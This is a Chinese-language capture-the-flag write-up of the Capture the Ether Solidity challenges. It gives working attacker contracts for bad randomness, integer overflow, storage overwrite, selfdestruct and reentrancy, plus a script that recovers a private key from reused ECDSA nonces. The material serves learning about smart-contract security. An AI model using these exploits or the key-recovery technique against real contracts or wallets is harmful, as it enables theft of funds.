Writeup | capture the ether

靶场地址

Warmup

Deploy a contract

连接 MetaMask 即可

Call me

要求调用callme函数

在remix的deploy处将我们挑战的页面里给出的合约地址填上,部署后调用即可

image-20220321205348097

Choose a nickname

设置自己的昵称

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.4.21;

// Relevant part of the CaptureTheEther contract.
contract CaptureTheEther {
mapping (address => bytes32) public nicknameOf;

function setNickname(bytes32 nickname) public {
nicknameOf[msg.sender] = nickname;
}
}

// Challenge contract. You don't need to do anything with this; it just verifies
// that you set a nickname for yourself.
contract NicknameChallenge {
CaptureTheEther cte = CaptureTheEther(msg.sender);
address player;

// Your address gets passed in as a constructor parameter.
function NicknameChallenge(address _player) public {
player = _player;
}

// Check that the first character is not null.
function isComplete() public view returns (bool) {
return cte.nicknameOf(player)[0] != 0;
}
}

同样的在remix里操作即可

注意要将昵称转化为十六进制,并且 return cte.nicknameOf(player)[0] != 0;

Lotteries

Guess the number

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.21;

contract GuessTheNumberChallenge {
uint8 answer = 42;

function GuessTheNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

已知 answer = 42

注意调用guess函数并传参42的同时发送1 ether

Guess the secret number

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
}

可以计算答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pragma solidity ^0.4.18;
contract guess {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
uint8 public answer = 0;

function guessanswer() returns (uint8) {
for(uint8 i = 0;i <= 256;i ++){
if(keccak256(i) == answerHash){
answer = i;
return answer;
}
}
}
}

Guess the random number

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
uint8 answer;

function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

可以去交易详情查看

image-20220322223448498

即77

Guess the new number

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}

写一个 constructor() ,部署时打入1ETH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
contract attacker {
constructor() public payable {

}
function attack() public payable {
uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now));
GuessTheNewNumberChallenge target = GuessTheNewNumberChallenge(0x311e6C0Ae5476ad374c0e7A9B4582ac1eB42b213);
target.guess.value(1 ether)(result);
}

function() public payable {

}

function destroy() public payable {
selfdestruct(msg.sender);
}
}

Predict the future

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;

function PredictTheFutureChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}

让answer来就我们,按照规则一次一次地尝试生成answer,当此块的信息得到的answer与我们猜的guess相同时我们再调用settle函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
contract attacker {
PredictTheFutureChallenge target;
uint8 result;
constructor() public payable {
target = PredictTheFutureChallenge(0xf6C4f214fDF6B367255281c0cF65653B0820F1F9);
}

function attack() payable{
target.lockInGuess.value(1 ether)(3);
}

function exploit() {
result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
if(result == 3){
target.settle();
}
}

function see() view returns (uint8) {
return result;
}

function destroy() payable {
selfdestruct(msg.sender);
}
}

Predict the block hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;

function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

bytes32 answer = block.blockhash(settlementBlockNumber);

guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}

Screenshot 2019-11-20 08.20.54.png

我们看到该函数仅适用于最近的 256 个块。如果您尝试调用发生在 300 块前的函数,它会返回零。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
contract attacker {
PredictTheBlockHashChallenge target = PredictTheBlockHashChallenge(0xB562947997118272df148A0c5d8Ca1d6aEb4948F);
uint256 settlementBlockNumber;

constructor() payable {

}

function attack() payable {
settlementBlockNumber = block.number + 1;
target.lockInGuess.value(1 ether)(0x0000000000000000000000000000000000000000000000000000000000000000);
}

function exploit() {
require(block.number-settlementBlockNumber>=256);
target.settle();
}

function destroy() payable {
selfdestruct(msg.sender);
}
}

Math

Token sale

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.4.21;

contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;

function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}

function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}

function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);

balanceOf[msg.sender] += numTokens;
}

function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);

balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}

require(msg.value == numTokens * PRICE_PER_TOKEN); 存在整数乘法上溢

1
2
3
4
5
1 ether = 10^18 wei
//最大的uint256 = = 115792089237316195423570985008687907853269984665640564039457584007913129639936
numTokens = 2**256 / 10**18 + 1 = 115792089237316195423570985008687907853269984665640564039458
//
value = numTokens*10**18-2**256 = 415992086870360064

value为 0.415992086870360064 ether,要求 msg.value == numTokens * PRICE_PER_TOKEN 可以被满足。

然后我们可以 sell() 1 ether,合约余额现在为 0.41ether

Token whale

Find a way to accumulate at least 1,000,000 tokens to solve this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
address player;

uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;

string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;

function TokenWhaleChallenge(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}

function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}

event Transfer(address indexed from, address indexed to, uint256 value);

function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;

emit Transfer(msg.sender, to, value);
}

function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);

_transfer(to, value);
}

event Approval(address indexed owner, address indexed spender, uint256 value);

function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}

function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);

allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}

_transfer函数存在溢出

  1. account1 transfer(account2,1000)
  2. account2 approve(account1,1000)
  3. account1 transferFrom(account2,account3,1000)

由于此时account1的代币余额为0,所以最后调用 _transfer 时会发生下溢

Retirement fund

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.4.21;

contract RetirementFundChallenge {
uint256 startBalance;
address owner = msg.sender;
address beneficiary;
uint256 expiration = now + 10 years;

function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);

beneficiary = player;
startBalance = msg.value;
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function withdraw() public {
require(msg.sender == owner);

if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer(address(this).balance * 9 / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}

function collectPenalty() public {
require(msg.sender == beneficiary);

uint256 withdrawn = startBalance - address(this).balance;

// an early withdrawal occurred
require(withdrawn > 0);

// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}

使用selfdestruct函数,使 collectPenalty() 中的 require(withdrawn > 0); 被满足

1
2
3
4
5
6
7
8
9
10
pragma solidity ^0.4.18;
contract attacker {
constructor() payable {

}

function attack() payable {
selfdestruct(0xde595FF7D9DED625Db68A569BbA0b708e69d025a);
}
}

Mapping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity ^0.4.21;

contract MappingChallenge {
bool public isComplete;
uint256[] map;

function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;
}

map[key] = value;
}

function get(uint256 key) public view returns (uint256) {
return map[key];
}
}

类似Ethernaut中的Alien Codex

数组长度越界,计算相对位置覆盖isComplete

Donation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.4.21;

contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;

address public owner;

function DonationChallenge() public payable {
require(msg.value == 1 ether);

owner = msg.sender;
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);

Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;

donations.push(donation);
}

function withdraw() public {
require(msg.sender == owner);

msg.sender.transfer(address(this).balance);
}
}

Solidity中存储方式错误使用所导致的变量覆盖

使传入的etherAmount,其值等于我们的Account地址

并满足msg.value == etherAmount / scal

1
2
uint(0x9DC97146b924263A2c8C7237FbeEAFb6ef60b624) / (10**18*10**18)
//900803868558

然后调用withdraw

Fifty years

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pragma solidity ^0.4.21;

contract FiftyYearsChallenge {
struct Contribution {
uint256 amount;
uint256 unlockTimestamp;
}
Contribution[] queue;
uint256 head;

address owner;
function FiftyYearsChallenge(address player) public payable {
require(msg.value == 1 ether);

owner = player;
queue.push(Contribution(msg.value, now + 50 years));
}

function isComplete() public view returns (bool) {
return address(this).balance == 0;
}

function upsert(uint256 index, uint256 timestamp) public payable {
require(msg.sender == owner);

if (index >= head && index < queue.length) {
// Update existing contribution amount without updating timestamp.
Contribution storage contribution = queue[index];
contribution.amount += msg.value;
} else {
// Append a new contribution. Require that each contribution unlock
// at least 1 day after the previous one.
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);

contribution.amount = msg.value;
contribution.unlockTimestamp = timestamp;
queue.push(contribution);
}
}

function withdraw(uint256 index) public {
require(msg.sender == owner);
require(now >= queue[index].unlockTimestamp);

// Withdraw this and any earlier contributions.
uint256 total = 0;
for (uint256 i = head; i <= index; i++) {
total += queue[i].amount;

// Reclaim storage.
delete queue[i];
}

// Move the head of the queue forward so we don't have to loop over
// already-withdrawn contributions.
head = index + 1;

msg.sender.transfer(total);
}
}

msg.value会覆盖queue的长度,timestamp会覆盖head

queue.push操作,因为其在最后执行增添对象的任务,添加以后它会将queue.length进行+1操作,用queue长度再覆盖contribution.amount一次

  1. 首先,我们创建一个新的队列条目,调用upsert准备绕过timestamp检查。我们选择timestamp这样的值,它会queue[queue.length - 1].unlockTimestamp + 1 days以等于零的方式溢出。

    1
    2
    2**256-86400
    115792089237316195423570985008687907853269984665640564039457584007913129553536

    调用Upset(1,115792089237316195423570985008687907853269984665640564039457584007913129553536)并发送1 wei

  2. 调用Upset(1,0)并发送1 wei

  3. 调用withdraw(1)

Accounts

Fuzzy identity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

interface IName {
function name() external view returns (bytes32);
}

contract FuzzyIdentityChallenge {
bool public isComplete;

function authenticate() public {
require(isSmarx(msg.sender));
require(isBadCode(msg.sender));

isComplete = true;
}

function isSmarx(address addr) internal view returns (bool) {
return IName(addr).name() == bytes32("smarx");
}

function isBadCode(address _addr) internal pure returns (bool) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000badc0de";
bytes20 mask = hex"000000000000000000000000000000000fffffff";

for (uint256 i = 0; i < 34; i++) {
if (addr & mask == id) {
return true;
}
mask <<= 4;
id <<= 4;
}

return false;
}
}

要求:

  1. 合约的name为smarx
  2. 合约地址里包含 badc0de

以太坊源码中生成合约地址的算法

1
2
3
4
5
6
7
func CreateAddress(b common.Address, nonce uint64) common.Address {

data, _ := rlp.EncodeToBytes([]interface{}{b, nonce}) //对地址和nonce进行rlp编码

return common.BytesToAddress(Keccak256(data)[12:]) //利用keccak256算hash,后20个字节作为新地址

}

使用ethjs-account来生成地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const rlp = require('rlp');
const js = require('_js-sha3@0.8.0@js-sha3');
const generate = require('ethjs-account').generate;

seed='892h@fs8sk^2hSFR*/8s8shfs.jk39hsoi@hohskd51D1Q8E1%^;DZ1-=.@WWRXNI()VF6/*Z%$C51D1QV*<>FE8RG!FI;"./+-*!DQ39hsoi@hoFE1F5^7E%&*QS'//生成地址所用的种子
function fuzz(){
for(var k=0;k<50000;k++){
seed=seed+Math.random().toString(36).substring(12);//为避免重复,生成一定数目后对种子进行更新
for(var i=0;i<1000;i++){
res=generate(seed);
for (var j=0;j<10;j++){
encodedRlp = rlp.encode([res.address, j]);// 进行rlp编码
buf = js.keccak256(encodedRlp);
contractAddress =buf.slice(24).toString('hex');//取buffer第12个字节后面的部分作为地址

if(contractAddress.slice(33).match("badc0de")){
console.log(contractAddress);
console.log(res);
console.log(j);
return;
}
}
//console.log(i);
}
}
}
fuzz();

结果

1
2
3
4
5
6
7
8
76e9f28df246ee1b3f7d3bb2c4c81e6f0badc0de
{
privateKey: '0x2f1c57a072bd38affcdeaf2c574b9e9c8c120b7391eb54a48a110345cbd1ae88',
publicKey: '0xb111b1d6f154e4a87859bb2ad60bf05fd26abb7e77c6f26c4924803ee9673a3e55147652d2f2662d5a6591df503f27117c182ce1b20d8afaaf2b4d4ed6a07379',
address: '0x4ABE0ad41C9A81289dCa9F257fd448264e18AB1B'
}
8

nonce为8时部署攻击合约

1
2
3
4
5
6
7
8
9
10
contract attack {
FuzzyIdentityChallenge fuzz;
function pwn(){
fuzz=FuzzyIdentityChallenge(address of your challenge);
fuzz.authenticate();
}
function name() external view returns(bytes32){
return bytes32("smarx");
}
}

Public Key

1
2
3
4
5
6
7
8
9
10
11
12
pragma solidity ^0.4.21;

contract PublicKeyChallenge {
address owner = 0x92b28647ae1f3264661f72fb2eb9625a89d88a31;
bool public isComplete;

function authenticate(bytes publicKey) public {
require(address(keccak256(publicKey)) == owner);

isComplete = true;
}
}

由地址得到公钥

椭圆曲线密码学和以太坊中的椭圆曲线数字签名算法应用

w3.eth.getTransaction("0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb") 可以得到

1
AttributeDict({'blockHash': HexBytes('0x487183cd9eed0970dab843c9ebd577e6af3e1eb7c9809d240c8735eab7cb43de'), 'blockNumber': 3015083, 'from': '0x92b28647Ae1F3264661f72fb2eB9625A89D88A31', 'gas': 90000, 'gasPrice': 1000000000, 'hash': HexBytes('0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb'), 'input': '0x5468616e6b732c206d616e21', 'nonce': 0, 'r': HexBytes('0xa5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7'), 's': HexBytes('0x5710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962'), 'to': '0x6B477781b0e68031109f21887e6B5afEAaEB002b', 'transactionIndex': 7, 'type': '0x0', 'v': 41, 'value': 0})

使用ethereumjs-tx库创建一个交易从而利用里面封装的getSenderAddress得到公钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const EthereumTx = require('ethereumjs-tx').Transaction;
const js = require('_js-sha3@0.8.0@js-sha3');

var rawTx = {
nonce: '0x00',
gasPrice: '0x3b9aca00',
gasLimit: '0x15f90',
to: '0x6B477781b0e68031109f21887e6B5afEAaEB002b',
value: '0x00',
data: '0x5468616e6b732c206d616e21',
v: '0x29',
r: '0xa5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7',
s: '0x5710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962'
};

var tx = new EthereumTx(rawTx, { chain: 'ropsten', hardfork: 'petersburg' });

pubkey=tx.getSenderPublicKey();
pubkeys=pubkey.toString('hex');
var address = js.keccak256(pubkey).toString('hex').slice(24);

console.log(pubkeys);
console.log(address);

Account Takeover

1
2
3
4
5
6
7
8
9
10
11
12
pragma solidity ^0.4.21;

contract AccountTakeoverChallenge {
address owner = 0x6B477781b0e68031109f21887e6B5afEAaEB002b;
bool public isComplete;

function authenticate() public {
require(msg.sender == owner);

isComplete = true;
}
}

给出了地址求私钥

参考1

参考2

有两笔同 from 地址且同 to 地址的交易,且 r 值相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const EthereumTx = require('ethereumjs-tx').Transaction;
var rawTx1 =
{ nonce: 0,
gasPrice: '0x3b9aca00',
gasLimit: '0x5208',
to: '0x92b28647ae1f3264661f72fb2eb9625a89d88a31',
value: '0x1111d67bb1bb0000',
data: '0x',
v: 41,
r: '0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166',
s: '0x7724cedeb923f374bef4e05c97426a918123cc4fec7b07903839f12517e1b3c8'
}
var rawTx2 =
{ nonce: 1,
gasPrice: '0x3b9aca00',
gasLimit: '0x5208',
to: '0x92b28647ae1f3264661f72fb2eb9625a89d88a31',
value: '0x1922e95bca330e00',
data: '0x',
v: 41,
r: '0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166',
s: '0x2bbd9c2a6285c2b43e728b17bda36a81653dd5f4612a2e0aefdb48043c5108de'
}
tx1 = new EthereumTx(rawTx1,{ chain: 'ropsten', hardfork: 'petersburg' });
tx2 = new EthereumTx(rawTx2,{ chain: 'ropsten', hardfork: 'petersburg' });

z1=tx1.hash(false).toString("hex");
z2=tx2.hash(false).toString("hex");
console.log(z1);
console.log(z2);
1
2
3
4
5
6
7
8
9
s1-s2 = k ^ -1z1 + dA * r)-k ^ -1z2+ dA * r)
= k^-1(z1-z2)
k = (z1-z2)/(s1-s2)

所以私钥 d = (s*k-z)/r
= (s*k-z) * inverse_mod(r, p) % p

k = (z1-z2)/(s1-s2)
= (z1z2)*inverse_mod(s1s2,p)%p

其中取模反的运算来自于python-ecdsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def inverse_mod( a, m ):
"""Inverse of a mod m."""
if a < 0 or m <= a: a = a % m
c, d = a, m
uc, vc, ud, vd = 1, 0, 0, 1
while c != 0:
q, c, d = divmod( d, c ) + ( c, )
uc, vc, ud, vd = ud - q*uc, vd - q*vc, uc, vc

assert d == 1
if ud > 0: return ud
else: return ud + m


def derivate_privkey(p, r, s1, s2, z1, z2):
z = z1 - z2
s = s1 - s2
r_inv = inverse_mod(r, p)
s_inv = inverse_mod(s, p)
k = (z * s_inv) % p
d = (r_inv * (s1 * k - z1)) % p
return d, k

z1 = 0x4f6a8370a435a27724bbc163419042d71b6dcbeb61c060cc6816cda93f57860c
s1 = 0x2bbd9c2a6285c2b43e728b17bda36a81653dd5f4612a2e0aefdb48043c5108de
r = 0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166
z2 = 0x350f3ee8007d817fbd7349c477507f923c4682b3e69bd1df5fbb93b39beb1e04
s2 = 0x7724cedeb923f374bef4e05c97426a918123cc4fec7b07903839f12517e1b3c8

p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

print ("privatekey:%x\n k:%x" % derivate_privkey(p,r,s1,s2,z1,z2))

Miscellaneous

Assume ownership

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.21;

contract AssumeOwnershipChallenge {
address owner;
bool public isComplete;

function AssumeOwmershipChallenge() public {
owner = msg.sender;
}

function authenticate() public {
require(msg.sender == owner);

isComplete = true;
}
}

构造函数拼写错误

Token bank

1
2
3
4
5
6
7
8
9
10
11
12
function transfer(address to, uint256 value, bytes data) public returns (bool) {
require(balanceOf[msg.sender] >= value);

balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);

if (isContract(to)) {
ITokenReceiver(to).tokenFallback(msg.sender, value, data);
}
return true;
}

这里判断了to地址是否是个合约地址,如果是合约的话就用ITokenReceiver接口来调用to合约的tokenFallback函数,在银行合约里这个函数用更改目标的balance,合约存在重入漏洞。

1
2
3
4
5
6
7
8
function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);

require(token.transfer(msg.sender, amount));
// balance decreased after recipient is notified
// re-entrancy issue
balanceOf[msg.sender] -= amount;
}

调用该token.transfer函数后余额会更新,允许我们每次重复提取我们的存入资金。重入控制流程将是challenge.withdraw => token.transfer => msg.sender.tokenFallback() => ...

在调用攻击合约前,先将player账户withdraw出来,再给攻击合约授权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
contract attacker {
TokenBankChallenge public challenge;

constructor(address challengeAddress) {
challenge = TokenBankChallenge(challengeAddress);
}

function deposit() payable {
challenge.token().transferFrom(address(0x9DC97146b924263A2c8C7237FbeEAFb6ef60b624),address(this),500000000000000000000000);
challenge.token().transfer(address(challenge),challenge.token().balanceOf(address(this)));
}

function attack() payable {
callWithdraw();
require(challenge.isComplete(), "challenge not completed");
}

function tokenFallback(address from, uint256 value, bytes data) external {
callWithdraw();
}

function callWithdraw() payable {
uint256 myInitialBalance = 500000000000000000000000;
uint256 challengeTotalRemainingBalance =
challenge.token().balanceOf(address(challenge));
bool keepRecursing = challengeTotalRemainingBalance > 0;

if (keepRecursing) {
uint256 toWithdraw =
myInitialBalance < challengeTotalRemainingBalance
? myInitialBalance
: challengeTotalRemainingBalance;
challenge.withdraw(toWithdraw);
}
}
}

Writeup | capture the ether
http://sissice.github.io/2022/04/02/capture the ether wp/
作者
Sissice
发布于
2022年4月2日
许可协议